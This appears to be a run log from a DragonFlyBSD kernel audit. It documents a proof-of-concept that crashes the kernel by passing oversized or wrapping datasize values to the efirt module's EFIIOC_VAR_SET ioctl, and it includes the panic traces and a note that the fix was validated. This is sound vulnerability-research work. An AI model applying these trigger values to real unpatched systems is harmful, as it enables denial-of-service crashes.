⬢ DragonFlyBSD Kernel Audit
DF-5119 / run.log
← back to finding ↓ download raw
# DF-5119 baseline runs (STOCK kernel module /boot/kernel/efirt.ko), as root.
# Run 1 - control (mode 0, sane sizes), guest stayed up:
#   $ kldload efirt
#   $ /tmp/efi_sz 0
#   mode=0 datasize=0x4 namesize=0x4 -> ioctl (EFIIOC_VAR_SET)...
#   ioctl rc=-1 errno=6 (Device not configured)     [efi_enter() ENXIO on BIOS box; no panic]
#
# Run 2 - mode 1 (datasize = 0x4000000000000000, huge, non-wrapping):
#   $ /tmp/efi_sz 1
#   mode=1 datasize=0x4000000000000000 namesize=0x4 -> ioctl (EFIIOC_VAR_SET)...
#   [ssh session never returns; guest dies]
#   serial console (dfbsd-qemu/boot.log):
#     module_register_init: MOD_LOAD (efirt, ffffffff873bc3b0, 0) error 6
#     panic: kmem_slab_alloc(): kernel_map ran out of space!
#     cpuid = 1
#     Trace beginning at frame 0xfffff801181c3628
#     kmem_slab_alloc() at kmem_slab_alloc+0x42b 0xffffffff80656bab
#     kmem_slab_alloc() at kmem_slab_alloc+0x42b 0xffffffff80656bab
#     _kmalloc() at _kmalloc+0x5be 0xffffffff8065737e
#     efidev_ioctl() at efidev_ioctl+0x2d1 0xffffffff873bd291
#     dev_dioctl() at dev_dioctl+0x65 0xffffffff8062cdb5
#     devfs_fo_ioctl() at devfs_fo_ioctl+0x95 0xffffffff80921bb5
#     Debugger("panic")
#   -> vm.sh status: down.  [full excerpt in panic.txt / panic.m1.txt]
#
# Run 3 (after vm.sh reset with-src + kldload efirt + rebuild PoC)
#   - mode 2 (datasize = 0xffffffffffffffff, round_page() wraps to 0):
#   $ /tmp/efi_sz 2
#   mode=2 datasize=0xffffffffffffffff namesize=0x4 -> ioctl (EFIIOC_VAR_SET)...
#   [ssh session never returns; guest dies]
#   serial console (dfbsd-qemu/boot.log):
#     module_register_init: MOD_LOAD (efirt, ffffffff826003b0, 0) error 6
#     panic: vm_map_entry_link: dup addr map 0xffffffff8159eea0 ent 0xffffffff81619ea8
#     cpuid = 3
#     _vm_map_clip_end() at _vm_map_clip_end+0x11e 0xffffffff809a314e
#     vm_map_clip_range.constprop.27() at ...+0x187 0xffffffff809a45f7
#     vm_map_set_wired_quick() at vm_map_set_wired_quick+0x20 0xffffffff809a5390
#     kmem_slab_alloc() at kmem_slab_alloc+0x145 0xffffffff806568c5
#     _kmalloc() at _kmalloc+0x5be 0xffffffff8065737e
#     Debugger("panic")
#   -> vm.sh status: down.  [full excerpt in panic.m2.txt]
#
# Patched-module runs (fix validation) are in fix_run.log: modes 1 and 2 both
# return EINVAL (errno 22) and the guest stays up; mode 0 still returns ENXIO.